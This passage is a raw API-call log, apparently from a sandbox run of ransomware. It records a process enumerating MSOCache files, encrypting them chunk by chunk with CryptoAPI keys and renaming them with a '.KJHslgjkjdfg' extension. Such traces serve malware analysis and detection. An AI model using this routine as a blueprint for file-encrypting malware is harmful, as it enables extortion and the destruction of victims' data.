lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0151.818] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0151.818] GetProcessHeap () returned 0x2ef0000 [0151.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e70 | out: hHeap=0x2ef0000) returned 1 [0151.818] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0151.818] GetProcessHeap () returned 0x2ef0000 [0151.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f14588 [0151.818] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0151.818] GetProcessHeap () returned 0x2ef0000 [0151.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0151.818] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.818] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0151.818] GetProcessHeap () returned 0x2ef0000 [0151.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f16e70 [0151.819] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.819] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x4dff280 | out: lpFileSize=0x4dff280*=21064532) returned 1 [0151.819] GetProcessHeap () returned 0x2ef0000 [0151.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0151.819] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0151.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.819] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff26c*=0xc, lpOverlapped=0x0) returned 1 [0151.922] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0151.922] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.922] GetProcessHeap () returned 0x2ef0000 [0151.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0151.922] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30) returned 1 [0151.922] CryptDestroyKey (hKey=0x2f18248) returned 1 [0151.922] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff26c*=0x30, lpOverlapped=0x0) returned 1 [0151.922] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff274*, lpNumberOfBytesWritten=0x4dff26c*=0x4, lpOverlapped=0x0) returned 1 [0151.922] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff26c*=0x10, lpOverlapped=0x0) returned 1 [0151.922] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff26c*=0x80, lpOverlapped=0x0) returned 1 [0151.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0151.922] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff26c*=0x8, lpOverlapped=0x0) returned 1 [0151.922] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0151.922] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0151.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0151.923] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0151.982] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0151.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.985] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0151.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.986] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0151.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0151.986] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0152.053] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0152.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.056] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0152.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.058] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0152.058] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0152.058] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0152.432] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0152.434] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.434] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0152.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.435] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0152.435] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.435] SetEndOfFile (hFile=0xf0) returned 1 [0152.438] GetProcessHeap () returned 0x2ef0000 [0152.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0152.439] GetProcessHeap () returned 0x2ef0000 [0152.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0152.439] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.kjhslgjkjdfg")) returned 1 [0152.439] CloseHandle (hObject=0xf0) returned 1 [0152.440] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0152.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.441] GetProcessHeap () returned 0x2ef0000 [0152.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0152.441] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0152.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0152.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0152.441] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0152.441] GetProcessHeap () returned 0x2ef0000 [0152.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0152.441] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0152.441] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.441] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0152.501] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0152.501] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0152.502] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0152.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0152.502] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0152.502] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0152.502] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0152.502] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.502] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd8400, lpOverlapped=0x0) returned 1 [0152.595] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd8400, dwBufLen=0xd8400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd8400) returned 1 [0152.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.609] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd8400, lpOverlapped=0x0) returned 1 [0152.612] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.612] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd84c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.612] SetEndOfFile (hFile=0xf0) returned 1 [0152.616] GetProcessHeap () returned 0x2ef0000 [0152.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0152.616] GetProcessHeap () returned 0x2ef0000 [0152.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0152.616] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.kjhslgjkjdfg")) returned 1 [0152.627] CloseHandle (hObject=0xf0) returned 1 [0152.628] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0152.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.628] GetProcessHeap () returned 0x2ef0000 [0152.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0152.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0152.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0152.628] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0152.632] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0152.632] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0152.632] GetProcessHeap () returned 0x2ef0000 [0152.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0152.632] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0152.632] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.632] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0152.633] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0152.633] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0152.633] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0152.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0152.633] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0152.633] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f18248) returned 1 [0152.633] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0152.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.633] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b2, lpOverlapped=0x0) returned 1 [0152.633] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0) returned 1 [0152.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.634] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c0, lpOverlapped=0x0) returned 1 [0152.634] CryptDestroyKey (hKey=0x2f18248) returned 1 [0152.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.634] SetEndOfFile (hFile=0xf0) returned 1 [0152.636] GetProcessHeap () returned 0x2ef0000 [0152.636] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0152.636] GetProcessHeap () returned 0x2ef0000 [0152.636] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0152.636] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.kjhslgjkjdfg")) returned 1 [0152.640] CloseHandle (hObject=0xf0) returned 1 [0152.640] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0152.640] GetProcessHeap () returned 0x2ef0000 [0152.640] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0152.640] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 